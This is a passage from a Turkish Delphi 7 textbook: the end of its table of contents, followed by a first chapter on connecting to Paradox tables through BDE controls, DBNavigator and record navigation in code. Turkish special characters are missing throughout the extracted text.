Birden Fazla Seri eren Grafik Oluturmak .......................................... 149 Grafii Yazdrmak ...................................................................................... 151 Data Modul Yaps ...................................................................................... 152 DataModule Kullanarak Tablolara Balanmak............................ 153 Data Module erisinde Parametre Oluturmak ........................... 155 DataSource Kontrol .................................................................................. 157 Kodla Tablo Oluturmak ........................................................................... 162 BLM 5 RAPOR DOSYASI OLUTURMAK.................................................................. 167 Rapor Dosyalar Oluturmak .................................................................... 169 QuickRep Kontrol .......................................................................... 170 QRSubDetail Kontrol..................................................................... 170 QRBand Kontrol............................................................................. 170 XV

QRGroup Kontrol .......................................................................... 170 QRLabel Kontrol ............................................................................ 170 QRDBText Kontrol ........................................................................ 170 QRExpr Kontrol ............................................................................. 170 QRSysData Kontrpol...................................................................... 170 QRMemo Kontrol........................................................................... 170 QRRichText Kontrol ...................................................................... 171 QRShape Kontrol ........................................................................... 171 QRImage Kontrol ........................................................................... 171 QRDBImage Kontrol...................................................................... 171 Gruplandrlm Rapor Dosyas Oluturmak........................................... 176 Rapor Dosyasna Uygulamanzdan Erimek............................................ 183 BLM 6 DECISION CUBE ILE ZET TABLO GRNTLER OLUTURMAK.................................................................................................... 185 Decision Cube Kontrolleri.......................................................................... 187 Tablo Kaytlarn zet Tablo Olarak Listelemek.................................... 187 Tablo Kaytlarn Grafik eklinde Gstermek ........................................ 188 DecisionPivot Kontrol Kullanarak Senaryo Oluturmak..................... 190 BLM 7 ADO KONTROLLER......................................................................................... 195 ADO Kontrolleri.......................................................................................... 197 Adoconnection Kontrol .................................................................. 197 ADOTable Kontrol ......................................................................... 200 Microsoft Access Veri Tabanna Balanmak ........................................... 200 SQL Server le almak............................................................................ 201 Adoconnection Kontroln Kullanarak SQL Servera Balanmak...... 202 ADOQuery Kontrol ........................................................................ 205 ADOQuery Kontrolne Programdan Parametre Gndermek .... 206 ADOStoredProc Kontrol................................................................ 207 SQL Serverda Stored Procedure Oluturmak........................................ 207 Delphi erisinden Stored Procedurlere Ulamak.................................. 209 Parametre eren Stored Procedure Oluturmak ................................... 211 Programdan Stored Procedure Parametre Deeri Gndermek ........... 211 leri Dzey Stored Procedur Uygulamalar.............................................. 213 Stored Procedur Kullanarak Kaytlar Deitirmek..................... 213 Stored Procedur Kullanarak Kayt Silmek .................................... 215 Stored Procedure le Hesaplanan Deerleri Deikenlere Aktarmak........................................................................................... 217 Stored Procedure Fonksiyonlar................................................................ 219 String Fonksiyonlar ......................................................................... 219 XVI

Matematiksel Fonksiyonlar ............................................................. 219 Tarih-Zaman Fonksiyonlar ............................................................ 219 ADODataSet Kontrol ............................................................................... 220 ADODataSet Kontrol le Kayt lemleri ..................................... 223 ADODataSet Kullanarak Kaytlar Filtrelemek............................ 225 ADODataSet Kullanarak Kayt Arama lemleri ......................... 225 ADODataSet1.Locate Methodu............................................. 226 ADODataSet Kontrol Kullanarak Master/Detail Form Oluturmak.............................................................................. 227 ADODataSet Kontrolne Uygulanabilecek Kilitler ...................... 231 ADODataSet Kontrol le Kayt Eklemek ..................................... 231 ADODataSet Kontrol le Aktif Kayd Silmek.............................. 231 ADODataSet ve Transaction............................................................ 231 BLM 8 XML DOSYALARI OLUTURMAK ................................................................ 235 ClientDataSet Kontrol .............................................................................. 237 ClientDataSet Kontrol erisindeki Kaytlar Xml Uzantl Kaydetmek ................................................................................................... 240 BLM 9 INTERBASE KONTROLLERI .......................................................................... 243 INTERBASE Veri Taban lemleri.......................................................... 245 InterBase Kullanarak Veri Taban Oluturmak ..................................... 245 InterBase Veri Taban erisinde Tablo Yaratmak................................. 248 InterBase erisinden Tabloya Kayt Girmek.......................................... 250 Delphi Projesinden Yarattnz Tabloya Balanmak ............................ 250 InterBase Veri Tabannda Gelimi Tablolar Yaratmak ....................... 252 InterBase Kontrolleri.................................................................................. 254 IBDataBase Kontrol ....................................................................... 254 IBTransaction Kontrol................................................................... 255 IBTable Kontrol.............................................................................. 255 InterBase Kontrolleri le Kayt lemleri ................................................. 256 IBQuery Kontrol............................................................................. 261 InterBase Tablolarn Parametre le Sorgulamak................................... 262 InterBase Kontrolleri Kullanarak Master Detail Form Oluturmak.... 264 BDE Kontrolleriyle InterBase Veri Tabanna Balanmak..................... 266 SYSDBA Kullancsna Ait ifreyi Deitirmek ...................................... 267 Yeni Kullanclar Tanmlamak .................................................................. 269 BLM 10 RAVE KONTROLLER LE RAPOR DOSYASI OLUTURMAK .............. 271 Rave Kontrollerini Kullanarak Rapor Oluturmak................................ 273 XVII

Programdan Rapor Dosyalarna Ulamak ............................................... 278 Stun Deerleri le Hesap Yapmak........................................................... 280 Hesaplanan Stunlara Ait Biimlendirme lemleri ............................... 281 Calc Text Component Kontrol ile Yaplabilecek Dier Hesaplamalar .................................................................................... 282 Kaytlar Alt izili Hale Getirmek ........................................................... 282 Koula Uyan Kaytlarn Raporunu Oluturmak ..................................... 283 BLM 11 NETWORK PROGRAMCILII ........................................................................ 287 Network Programclna Giri ................................................................. 289 TCP/IP Protocollerine Genel Bir Bak .................................................... 290 Internet Kontrolleri .................................................................................... 297 WebBrowser Kontrol................................................................................ 297 Uygulama 1: WebBrowser rnei .................................................. 300 Uygulama 2:Sakncal Sayfalar in WebBrowser rnei ........... 302 TcpServer Kontrol .................................................................................... 305 TcpClient Kontrol..................................................................................... 308 Uygulama 3:Dier Bilgisayardaki Tabloyu Sorgulamak.............. 310 DataSetTableProducer Kontrol............................................................... 314 Uygulama 4:Tablolar Web Sayfasnda Grntlemek................ 315 BLM 12 INDY KONTROLLER ....................................................................................... 319 Indy Kontrolleri .......................................................................................... 321 IdSMTP Kontrol............................................................................. 321 IdMessage Kontrol.......................................................................... 324 Uygulama 5:E-Mail Gndermek ........................................... 326 IdPOP3 Kontrol .............................................................................. 329 IdMessage Kontrolnn e-mail Alrken Kullanabileceiniz Methodlar ......................................................................................... 331 Uygulama 6:E-Mail Almak.................................................... 333 IdAntiFreeze Kontrol ..................................................................... 339 IdTCPServer Kontrol..................................................................... 340 IdTCPClient Kontrol...................................................................... 344 Uygulama 7:Chat Uygulamas............................................... 346 Uygulama 8:Dosya Transferi................................................. 350 IdFTP Kontrol ................................................................................ 353 Uygulama 9:Ftp Sitelerinden Dosya ndirmek .................... 359 IdEncoderMIME Kontrol.............................................................. 364 IdDecoderMIME Kontrol .............................................................. 365 Uygulama 9:Dosyalara Encript-Decript lemleri Uygulamak............................................................................... 366 XVIII

Uygulama 10:Stream Tip Deikenlerle Encript-Decript lemleri ................................................................................... 370 IdIPWatch Kontrol......................................................................... 372 IdNetworkCalculator Kontrol....................................................... 374 Uygulama 11:IP Numaralandrma ....................................... 376 Uygulama 12:Balanan Bilgisayarn IP Aral .................. 378 Uygulama 13:lk Trojan......................................................... 381 Uygulama 14:Daha Gelimi Bir Trojan .............................. 389 Uygulama 15:Network Uygulamalarnda Veri Taban Kullanmak ............................................................................... 395 BLM 13 SETUP PROJES OLUTURMAK.................................................................... 401 Setup Projesi Oluturmak .......................................................................... 403 Setup Projesinin Dier Bilgisayarlara Yklenmesi ................................. 411

XIX

SON SZ Serimizin altnc kitabn da tamamlam bulunuyoruz. Dier kitaplarmza gstermi olduunuz ilgiyi aynen devam ettirmeniz en byk temennimiz olacaktr. Kitaplarmz hkkndaki tm eletiri ve nerilerinizi prestige@prestigeturk.com adresine gnderebilir, karlatnz problemler iin bu adresten zm isteyebilirsiniz. TCP/IP Protokol hususunda bilgisinden faydalandmz Osman ALIa teekkr bir bor bilmekteyiz.

XX

BLM 1 BDE UYGULAMALARI

Veri Taban Uygulamalar: Gelitireceiniz uygulamalarn neredeyse tamamnda kullanacanz, bilgilerinizi yazdrabileceiniz (daha sonra tekrar ulaabilmek iin) programlara ihtiyacnz olacak, dolaysyla veritaban destei her zaman karlaacanz vazgeilmez bir konu olmaktadr. Profesyonel uygulamalarnzda gnlk dzenli olarak rapor tutmanz gerekecektir. Bu yzden bu verileri daha sonra kullanmak amal bilgisayarnzda saklamalsnz. Bilgisayara veri saklama ilemlerini dzenli bir tablo yapsna sahip olan veritaban programlaryla gerekletirmekteyiz. Daha sonra Delphi ile bu veritaban uygulamalarna balanp gerekli bilgilere ulaabilmekteyiz. unu unutmayn bilgilerin tutulduu yer Delphi deildir. Bilgiler veritaban programlarna kaydedilir (Paradox,Dbase,Access,SQL Server vs). Delphi de size salad imkanla bu veri taban bilgilerini istediiniz gibi kullanmanz salar. Biz uygulamalarmzda Delphinin en verimli kullanabildii Paradox tablolarndan faydalanacaz. ayet ok byk network uygulamalar oluturacaksanz SQL Server veya Oracle kullanmalsnz.

Delphi7de Veitaban balantlarn gerekletirmek iin Component Palet ara ubuunda bulunan BDE Yapran kullanr. Bu yapraktaki kontroller sayesinde kolayca veri tabanlarna balanabilmektedir.

Yine Component Palet yapranda bulunan Data Controls kontrolleriyle de tablolar ynetmek iin kullancya gerekecek olan ara yz oluturma seenekleri sunulmaktadr. 3

BDE Kontrolleri: Veritaban balant ilemlerini gerekletiren kontroller bu yaprakta bulunur. Direk veritabanyla almak bir ok durumda (bilhassa network ortamnda binlerce kiinin ayn tabloya bilgi girdiini dnrseniz) performans asndan saknca yaratmaktadr. Bu yzden performans en st dzeyde tutmak iin bilgi girileri tm kullanclarn local mekinelerinde yaplr, msait bir zaman da da servera gnderilir. Dorusunu isterseniz bu sistem online gnderimler dnda ok etkili olmutur. Tm dillerin kulland yapda budur. imdi sizlere bu alma imkanlarn oluturan BDE kontrollerine bir gz atalm. Table Kontrol: Bu kontrol sayesinde veritabannda bulunan tablo ile direk balant kurulur. Lokal bilgisayarda ana tablonun bire bir bir kopyas oluturularak yaplan deiiklikler bu kontrole yazlrlar. Daha sonra msait bir zamanda tm deiiklikler veri taban tablosuna tekrar yazdrlr. Ben bu kontrolle veritabanna balanmanz (zorunlu kalmadnz srece) , bilhassa ok fazla satr ieren tablolarda tavsiye etmiyorum. Ama balant mantn anlamanz asndan kesinlikle ok iyi bilinmesi gerektiini dnyorum. Query Kontrol: Veri Taban tablolarnz sorgulayarak local makinenize indiren kontroldr. Bu tr balantda tablonuzdaki tm satrlara (isterseniz tm tabloyuda alabilirsiniz) deil sizi ilgilendiren satrlara ulamak iin kullanlr. StoredProc kontrolnden sonra balant ilemleri iin en ok kullanacanz kontrol olduunu belirtmek isterim. Bu kontrolle Table kontrolnn yapt gibi hi bir kriter koymadan tm tablo bilgilerine de kolayca ulaabilirsiniz. StoredProc Kontrol: Veri Taban tablolarna en hzl ve etkili balant salayan BDE kontroldr. Bu kontrolle yaplan balantdaki ama, trafii azaltmak iin servera sadece parametre gndererek tekrar tekrar tablolarn sorgulanmamasn salamaktr. Stored procedurler altrldklar andan kapatlana kadar sadece bir kere derlenirler, bu da Query kontrolne gre ilk altrlmadan sonra ok daha hzl sonu vermesini salamaktadr. lerleyen blmlerde (bilhassa byk uygulamalar iin) kontrole ait bir ok rneklendirmeler yaplacaktr. Ltfen hi bir ayrnty karmadan tamamn anlamaya alnz. Greceksiniz bir sre sonra hereyi otomatik olarak halledebilme seviyesine ulaacaksnz.

Database Kontrol: Bilhassa Trasaction ilemlerinde kullanlan ve yaplan tm deiiklikleri kaydedebileceiniz bir kontroldr. Bu kontrollerden projenize ne kadar ok eklerseniz programnzn o kadar performans kaybedeceini unutmaynz. Yukarda bahsedilen tm kontroller kullancya oluturacanz arayz ile Veri Taban tablolar arasnda ki balanty oluturmak iindir. Arayz kontrollerinde yapacanz deiiklikler ncelikle bu nesnelerde etkili olacaktr. Daha sonra istenildii vakit ana tabloya da yansmalar salanacaktr. Paradox Tablolarna Balant: Delphinin en performansl alma yapt Veri Taban Paradoxtur. Bu yzden rneklerimizi (ok byk yazlmlar hari en ok bu veri taban kullanlr) bu tablolar zerinde younlatracaz. Tablo oluturmaya gemeden nce ileride ok iinize yarayacak (muhakkak ilk bu ilemi yapn) olan Alias tanmlama ileminden bahsetmek istiyorum. Alias Tanmlamak: Alias lar tablolarn bulunduu adresi tutan takma adlardr. Bu yap sayesinde her defasnda tablonun adresini girmek zorunda kalmazsnz. Uygulamaya balamadan tablolarnz kaydedeceiniz klasre takma ad (Alias) belirlerseniz. Yapacanz balantlarda tablonun yolunu deilde belirlemi olduunuz bu Alias kullanrsnz. Alias tanmlamak iin aadaki admlar izleyin. Start->Settings->Control Panel seeneklerini arka arkaya tklayn. Karnza aadaki pencere alacaktr.

Alan pencereden BDE Administrator seeneine ift tklayn. Karnza aadaki pencere alacaktr. 5

Alan bu pencerede DataBase zerine mousun sa tuuna tklayarak men penceresini an ve New seeneine tklayn. Aadaki pencere alacaktr.

Bu pencereyi OK Buttonuna tklayarak gein. Yeni Aliasnz pencerenize STANDART ismi ile eklenecektir. smini deitirip (gazi), PATH ksmnada tablonuzu kaydedeciiniz klasr girin (veya sein)

Grdnz gibi biz tablonun kaydedilecei klasr c:\prestige olarak belirledik. Alias ismi olarak ta gazi seimini kullandk. 6

Pencereyi kapatp, gelen uyar penceresine de olumlu cevap verin. Alias tanmlamasn yaptktan sonra oluturacanz tablolara bu alias kullanarak erimek istiyorsanz tablolarnz c:\prestige klasrnn ierisine (nk bu klasr path olarak gsterildi) kaydetmelisiniz. Aksi takdirde bu alias iinizi grmeyecektir. Paradoxta Tablo Oluturmak: Paradoxta tablo oluturmak iin iki ynteminiz mevcut. Birincisi Delphi yi hi amadan (biz bu yolu tavsiye ediyoruz. Tablolar ile ilgili ilemleri yaparken uygulamanz kapatmanz oluabilecek sorunlar engelleyecektir. Bilhassa balantdaki bir tablo tasarmn deitirmenize paradox izin vermeyecektir) Start->Programs->Borland Delphi7->DataBase Destop admlarn izleyin. Alan pencereden File->New->Table seeneklerini seerek aadaki Create Table penceresinin almasn salayn.

Bu pencerede destek verilen Veri Tabanlarnn isimleri bulunmaktadr. Tablonuzu hangi veri tabannda oluturacaksanz onu semelisiniz. Biz Paradox u kullanacamz iin Paradox7 seeneini seerek OK Buttonuna bastk. Karnza aada gsterilen pencere alacaktr. Bu pencerede tablonuzda yer alacak olan stun isimlerini,stun tiplerini,stun uzunluklarn ve index lerinizi belirlemelisiniz. Dier seenekler zaten Delphi ierisinden ok kolay halledilebilecei iin onlarla fazla kafanz yormanz tavsiye etmem. Aada karakteristik zellikleri verilen stunlar bu pencerede oluturunuz.
Fieeld Name(Stun smi) SIRANO MAGAZAADI SERVISTARIHI GIDENFIRMA ARIZASEBEBI FATURATUTARI Type(Tipi) + A D A A $ 25 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) *

Tabloya dikkat edin ilk stun kolon balklarn, ikinci stun ieriin tipini (Type ksmnda mousun sa tuuna basarsanz tm seenekler listelenir), nc stun ka karakter veri alabileceini (tarih ve parasal ieriklerde paradox bu 7

deeri kendisi belirler), son stun ise tablonuzdaki Primary index i belirler. * koyduunuz stun o tablo iin Primary index stunu olacaktr (dikkat edin en stteki stunu primary belirleyebilirsini).imdi Save As buttonuna tklayarak tablonuzu gazi Aliasnn gsterdii klasrn (c:\prestige) ierisine SERVIS ismiyle kaydedin.

Save As buttonuna tkladktan sonra alan yukardaki pencerede yer alan Alias ksmndan gazi yi semeniz c:\prestige klasrn aktif yapmaya yetecektir. smini (SERVIS) yazp kaydedebilirsiniz. 8

Tablo Yapsnda Deiiklik Yapmak: imdi sizlere ikinci yntemle (bu yntemle tabloda oluturabilirsiniz) tablo yapsnda nasl deiiklik yapabileceinizi gstermek istiyorum (siz hep birinci yolu takip edin). Tools->DataBase Destop admlarndan sonra ayn pencere alacaktr. Alan bu pencerede File->Open->Table seeneklerini seip, dosya a penceresinin almasn salayn. Daha nceden kaydettiiniz tablonuzu (Alias isminden hemen bulabilirsiniz) seip Open dmesine basn. Ardndan Table->Restructure seeneklerini seerek tablonuzu oluturduunuz pencereye dnebilirsiniz. Burada tablo yapnz iin gerekli deiiklikleri yapabilirsiniz. Uyar:Tablonuzu balangta dzgn tasarlamaya nem gsteriniz.Daha sonra yapmak isteyeceiniz fazla radikal deiiklere Paradox izin vermeyebilir, tablonuzu tekrar oluturmak zorunda kalabilirsiniz. DataBase Destop Kullanarak Tabloya Kayt Girmek: Bu yntemi fazla kullanmayacaksnz ama rnekleri hzl denemek iin bilmekte fayda var. DataBase Desktop atktan sonra File->Open seenekleri ile tablonuzu an. Table->Edit Data admlarn izleyin, tablonuza bu aamadan sonra kolayca kayt girebilirsiniz.

imdilik yukardaki kaytlar Edit Data komutunu vererek Paradox Veri Taban ierisinden giriniz. Bu aamadan sonra Delphiden BDE kontrollerini kullanarak bu tabloya balant salayacaz. Girdiimiz kaytlardaki ama balantnn doru olarak kurulup kurulmad iindir. Yoksa kullanc az nceki ekrandan asla kayt girmeyecektir. 9

Uygulamanzdan Paradox Tablolarna Balanmak: Programnz ierisinden Paradox veri tabanna aadaki admlar izleyerek kolayca balanabilirsiniz. Birinci admda formunuzun zerine BDE Yapranda bulunan Table nesnesinden bir adet yerletirin. Table kontrolnn DataBaseName zelliine tablonuzun ierisinde bulunduu klasr referans gsteren Alias nzn (bizim rneimizde gazi) ismini aktarn. nc admda yine Table nesnesini seerek Object Inspector penceresinden Table Name zelliine paradox ta oluturduunuz tablonuzun ismini girin (veya sein). Bizim rneimizde SERVIS tablosu olacaktr. Drdnc admda aadaki form tasarmn oluturup, alt (6) adet Label kontrol ile yine alt (6) adet DataControls yapranda yer alan DBEdit kontrol yerletiriniz.

Yerletirdiiniz kontroller ile Table nesnesi arasndaki balanty salamak iin formunuza bir adet DataAccess yapranda yer alan DataSource kontrol yerletirin. DataSource kontroln seip Object Inspector pencersinden DataSet zelliine eklemi olduunuz Table kontrolnzn ismini aktarn. ayet deitirmediyseniz Table1 olarak alan pencerede gzkecektir. Bu admda Table nesnenizin Active zelliine true deerini aktarn ve aadaki DBEdit kontrol ayarlarna gein. 10

DBEdit1 kontrolnz seip Object Inspector penceresinden DataSource zelliine formunuza eklemi olduunuz DataSource nesnenizin ismini aktarn (veya sein). ayet ismini deitirmediyseniz DataSource1 olarak gzkecektir. Yine Object Inspector penceresinden DataField zellii iin semi olduunuz tabloya ait uygun stunu sein (tm stun isimleri bu zellikte gzkecektir). Bizim rneimizde ilk DBEdit kontrol SIRANO yu gsterecei iin bu ismi setik. Son adm olarak dier DBEdit kontrolleri iinde ayn iki ayar yaparak uygulamanz altrnz. Tm kayt bilgilerinin kontrollere aktarldn greceksiniz. Resimli veya CheckBox eren Tablo Stunlaryla Balant: Baz durumlarda tablonuzda kiiye ait resimleri saklamak zorunda kalabilirsiniz. Bu tip durumlarda o stun iin uygun bir tip semelisiniz. Paradox resim alanlar iin stun tipinizi OLE olarak belirlemenizi ister. Ayn ekilde MEDENI HAL gibi evet-hayr seenekleri ieren stunlar iinse Logical tipini semeniz gerekecektir. imdi aadaki tabloyu oluturup program ierisinden bu tabloya balanalm.
Fieeld Name(Stun smi) SIRANO MUSTERIADI MEDENIHALI SATISTARIHI SATILANURUN RESMI Type(Tipi) + A L D A O 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) *

Bu tabloda Type ksmnda kullanlan A harfi karakter veriler iin,L harfi true-false ierikler iin,D Tarihsel ierikler iin,+ karakteri otomatik artan stunlar iin, O harfi ise resim tr verileri barndrmak iin kullanlmaktadr. Wizard Kullanarak Veri Tabanna Balanmak: Aadaki admlar izleyerek sihirbaz yardmyla kolayca oluturmu olduunuz tabloya balanabilirsiniz. File->New->Other seeneklerini izleyerek New Items penceresinin almasn salayn. Alan bu pencereden Business yapran aktifletirin. DataBase Form Wizard seeneini ift tklayarak sihirbaz ilemleriniz iin devreye sokun.

11

Aadaki Database Form Wizard penceresi alacaktr. Bu pencerede Form Options ksmndan Create a simple form seeneini DataSet Options ksmndan da Create a form using table objects i seerek Next buttonuna tklayn.

Aadaki yeni pencere alacaktr.

Bu pencerede Drive or Alias name ksmndan talonuzun bulunduu klasr referans gsteren Alias nz seip MUSTERI tablosunu iaretleyin (ayn Alias n ierisinde istediiniz kadar tablo yaratabilirsiniz).

12

Next buttonuna tkladktan sonra aadaki pencere alacaktr. Bu pencerede yer alan Available Fields ksmndaki tm stun balklarn >> dmesine tklayarak Order Selected Fields penceresine aktarn.

Next buttonuna tkladktan sonra alan pencereden Vertical seeneini sein. Next buttonuna tkladktan sonra alan pencereden Left seeneini sein. Next buttonuna tkladktan sonra Form Only seenei iaretli iken Finish buttonuyla bitirin.

Delphi yukardaki ekilde her eyin hazr bulunduu bir form oluturacaktr. Artk programnz altrabilirsiniz. 13

ayet tasarm bir nceki rnekte olduu gibi kendiniz yapmak isterseniz. MEDENHAL Stunu iin DBEdit kontrol yerine ayn yaprakta yer alan DBCheckBox kontroln kullanmak, ayn ekilde RESMI Stunu iin de, yine ayn yaprakta yer alan DBImage kontroln kullanmanz gerekecekti. Dier ilemleri hi bir deiiklik yapmadan aynen uygulamalsnz. Bu rnekte RESIM stununun bo olduu sanyorum dikkatinizi ekmitir. Aktif kayda aadaki ekilde ekleyeceiniz bir kod blouyla kolayca resim ekleyebilirsiniz.

Formunuza Dialog yapranda yer alan OpenDialog kontrolnden bir adet yerletirip aadaki kod satrlarn da resmi gsteren kontroln OnDblClick yordamna ekleyiniz. procedure TForm3.ImageRESMIDblClick(Sender: TObject); var yol:AnsiString; begin OpenDialog1.Title:='Resim Se'; OpenDialog1.Filter:='ico Dosyalar|*.ico|Bmp Dosyalar|*.bmp'; if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; Table1.Edit; //deime moduna al ImageRESMI.Picture.LoadFromFile(yol); Table1.Post;//yazdr end; end; 14

Kodda kullanlan ImageRESMI komutu kontroln ismidir. ayet deitirmediyseniz stun ismine yakn bir isim alacaktr. Yaplan ilem ise resmin zerine ift tkland zaman OpenDialog penceresi atrlmaktadr. Tablo kaytlar zerinde deiiklik yaplabilmesi iin muhakkak Edit moduna alnmas gerekir. Table1.Edit satryla yaplan ilem budur. En son olarak Table1.Post komutuyla yeni resim veri Tabanna yazdrlmaktadr. DBNavigator Kontrol: Bu kontrol kullanarak kaytlar aras gezinti, Yeni kayt ekleme, kayt silme, kayt gncelleme ilemlerini kolayca yapabilirsiniz. Kontrole DataControls yaprandan eriebilirsiniz. zerindeki buttonlar ve anlamlar aada verilmitir.
lk Kayt nceki Kayt Sonraki Kayt Son Kayt Kayt Ekle Kayt Sil Deitir Kaydet ptal Gncelle lk Kayda Gider Bir nceki Kayda Gider Bir Sonraki Kayda Gider En Son Kayda Gider Yeni Bo Kayt Ekler Aktif Kayd Siler Kayd Deitirme Moduna Al Kayd Tabloya Yazar Son Yaplan Deiiklikleri ptal Eder Tabloyla yeniden veri ak oluturur.

Aada sizin yabanc olduunuz en genel zellikleri verilmitir. Kullanm son derece basit olan bu zellikler ile Navigator kontroln en etkili ekilde kullanabilirsiniz. DataSource Bu zellii sayesinde ynetilecek olan kaynak belirlenir (tablo, query veya Stored Procedur). Kodla veya Object Inspector penceresinden kolayca ayarlanabilir (Genellikle properties penceresinden ayarlamak yeterli olacaktr). Hints Bu zellikle mous kontroln zerine geldiinde o dmenin ne ie yaradn gsteren aklama balonlarnn ierikleri belirlenebilir.Burada hatrlatalm, balon ieriklerinin gsterilebilmesi iin ShowHint zelliinin true olmas gerekmektedir. Aksi takdirde Aklama balon ierikleri var olsa bile kullanc tarafndan gzkmeyecektir.

15

Aadaki String List Editor penceresi aklama balon ieriklerini gstermektedir.

Varsaylan olarak ingilizce yazlan bu deerleri sray bozmadan Trke karlklarna evirebilirsiniz. Pencere ieriklerini aada gsterilen ekilde deitiriniz. ShowHint zelliini true yapnz ve programnz altrnz.

Bu aamadan sonra mousu Navigator kontrol zerinde bekletirseniz aklama balonlarnz yukarda belirtilen trke karlklaryla kullancy bilgilendirecektir.

16

VisibleButtons Bu zellikle gsterilecek olan dmeleri belirleyebilirsiniz. Kontrol seip Object Inspector penceresinden gsterilmesini istemediiniz buttonun zelliini false yapmalsnz.

zelliini false yaptnz button artk kullanc tarafndan gzkmeyecektir. Bu ekilde salt okunur kaytlar retebilirsiniz. Yani kullanc sadece kaytlar aras gezinti yapabilecek asla kaytlarnz deitiremiyecektir. DBNavigator Kontrol in Tklanan Dmeye Kod Yazmak: Her ne kadar DBNavigator dmeleri kendi kodlarn iletsede sizde bu kodlara ekleme yapabilirsiniz. Bu ilem iin ncelikle DBNavigator kontroln seip OnClick yordamn oluturmasn salayn. OnClick Yordam Bu yordam DBNavigator kontrol ierisindeki dmelerden hangisine tklarsanz tklayn ileyen bir yordamdr. Bu yordamda tanmlanan Button parametresi tklanan dmenin numarasn tutarak programcya o dmeye ait ek kod yazma ans vermektedir. Aadaki kodu yazp program altrn. Bu aamada ilk Kayt dmesine tklayn. procedure TForm3.DBNavigatorClick(Sender: TNavigateBtn); begin if Button=nbFirst Then //ilk dme tklanrsa ShowMessage('lk Kayda Geldiniz') end; TObject; Button:

17

lk Kayt Dmesine tkladktan sonra aadaki gibi kullancy bilgilendirmek amal eklemi olduunuz kod iletilecektir. Bu yordama yazacanz kodlar, kontroln kendi kodlarn iletmesini engellemez.

Burada tklanlan dme, prosedr ierisinde tanmlanan Button isimli parametrede tutulmaktadr. nbFirst deerini almas ilk dmenin tklanld anlamn tamaktadr. Aada dier dmelerin anlamlar tablo halinde verilmitir.
Button nbFirst nbPrior nbNext nbLast nbInsert nbDelete nbEdit nbPost nbCancel nbRefresh Sonu lk Kayt Buttonu Tkland nceki Kayt Buttonu Tkland Sonraki Kayt Buttonu Tkland Son Kayt Buttonu Tkland Kayt Ekle Tkland Kayt Sil Tkland Kayt Deitir Tkland Kaydet Tkland Deiiklikleri ptal Et Tkland Gncelle Tkland

BeforeAction Yordam Herhangi bir dmeye tklanld anda, kontrol henz kendi kodlarn iletmeden hemen nce sizin, kodlarnzn iletilmesini salayan bir yordamdr. Ayn ekilde burada da Button parametresi hangi dmenin tklanldn belirlemek iin kullanlmaktadr.

18

procedure TForm3.DBNavigatorBeforeAction(Sender: TObject; Button: TNavigateBtn); begin if Button=nbCancel Then//iptal dmesine basarsa begin ShowMessage('Yaplan En Son Deiiklikler ptal Edilecek'); end; end; Kaytlar DataGrid Nesnesinde Gstermek: Tablonuzda yer alan kaytlar topluca kullancya gstermek iin kullanlan en popler kontrol DataGrid nesnesidir. Uygulamanza DataControls yapranda yer alan bu kontrolden bir adet yerletirip DataSource zelliine verilerinizi gstereceiniz tabloya ait DataSource kontroln aktarn. ayet ismini deitirmediyseniz bizim projemizde DataSource1 olarak gzkecektir.

Program altrdktan sonraki pencere grnts yukardaki gibi oluacaktr. DBNavigator kontrol ile kaytlar arasnda gezinti yaparsanz hem DBEdit kontrolnn hemde DataGrid nesnesinin kayt pozisyonunun beraberce deitiini greceksiniz. Bunun sebebi kontrollerin kaynak olarak ayn nesneyi yan DataSource1 kontroln kullanmalarndan kaynaklanmaktadr. Mesela DBNavigator kontrolnde yer alan Kayt Ekle dmesine tklarsanz ister DataGrid nesnesinden, isterseniz DBEdit kontrollerinden kaytlarnz kolayca girebilirsiniz. Sonu iki durumda da ayn olacaktr. 19

Kayt lemlerini Kodla Yapmak: Baz durumlarda kayt ilemleri iin DBNavigator kontroln kullanmak istemeyebilirsiniz (zorunlu kaldnz durumlar da olabilir). O zaman her eyi kodla yaptrmak zorunda kalacaksnz. Aadaki tasarm oluturup gerekli balantlar yukarda anlattmz ekilde yapn.

Dmelere ait kodlar aada verilmitir. Tamamn uygulamanza ait Unit penceresine ekleyiniz. procedure TForm4.FormCreate(Sender: TObject); begin Table1.Open;//Tabloyu a end; procedure TForm4.Button1Click(Sender: TObject); //lk Kayda Git begin Table1.First; end; procedure TForm4.Button2Click(Sender: TObject); //nceki Kayt 20

begin if not Table1.Bof Then //ilk kayt deilse Table1.Prior else ShowMessage('Zaten lk Kayttasnz'); end; procedure TForm4.Button3Click(Sender: TObject); //Sonraki Kayt begin if not Table1.Eof Then Table1.Next else ShowMessage('Zaten Son Kayttasnz'); end; procedure TForm4.Button4Click(Sender: TObject); //Son Kayt begin Table1.Last; end; procedure TForm4.Button5Click(Sender: TObject); //Kayt Ekle begin Table1.Insert; EditMAGAZAADI.SetFocus;//imle ilk stuna gitsin end; procedure TForm4.Button6Click(Sender: TObject); //Kayt Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Silmek stediinizden MB_YesNo); if mesaj=mrYes Then begin Table1.Delete; ShowMessage('Kayt Silindi'); end else ShowMessage('Kayt Silme lemi ptal Edildi'); end; procedure TForm4.Button7Click(Sender: TObject); //Kayt Deitir begin

Eminmisiniz','Sil',

21

Table1.Edit; end; procedure TForm4.Button8Click(Sender: TObject); //Kaydet begin Table1.Post; end; procedure TForm4.Button9Click(Sender: TObject); //ptal Et begin Table1.Cancel; end; procedure TForm4.Button10Click(Sender: TObject); //Gncelle begin Table1.Refresh; end; Balant lemlerinin Kodla Yapmak: Bu blmde DBEdit kontrolleri yerine, Standart yapranda bulunan Edit kontrollerini kullanarak kodla veri Taban balant ilemlerini greceiz. Ardndan kayt ilemlerini Edit kontrollerini kullanarak nasl yapabileceinizi gstereceim. Bu tr balantlar size ok byk esneklik salayacaktr. nceki balant trnden ok daha etkili sonular alabilirsiniz (bazen bu ekilde balantya mecbur kalabilirsiniz). Aadaki admlar izleyerek gerekli olan tasarm oluturunuz. Birinci admda Formunuzun zerine Additional yapranda yer alan ScrollBox kontrolnden bir adet yerletirin. kinci admda yerletirdiiniz ScrollBox kontroln seerek Object Inspector penceresinden BorderStyle zelliini bsSingle yapn. nc admda yine ScrollBox kontroln seip Align zelliini alClient yapn (bu adm estetik grnm asndan gerekletirdik. Balant iin zorunlu deildir). Drdnc admda BDE Yapranda yer alan Table nesnesinden bir adet srkleyip formun zerine brakn. Table nesnesinin DataBase Name zelliine gazi, Table Name zelliine de SERVIS deerini aktarn.

22

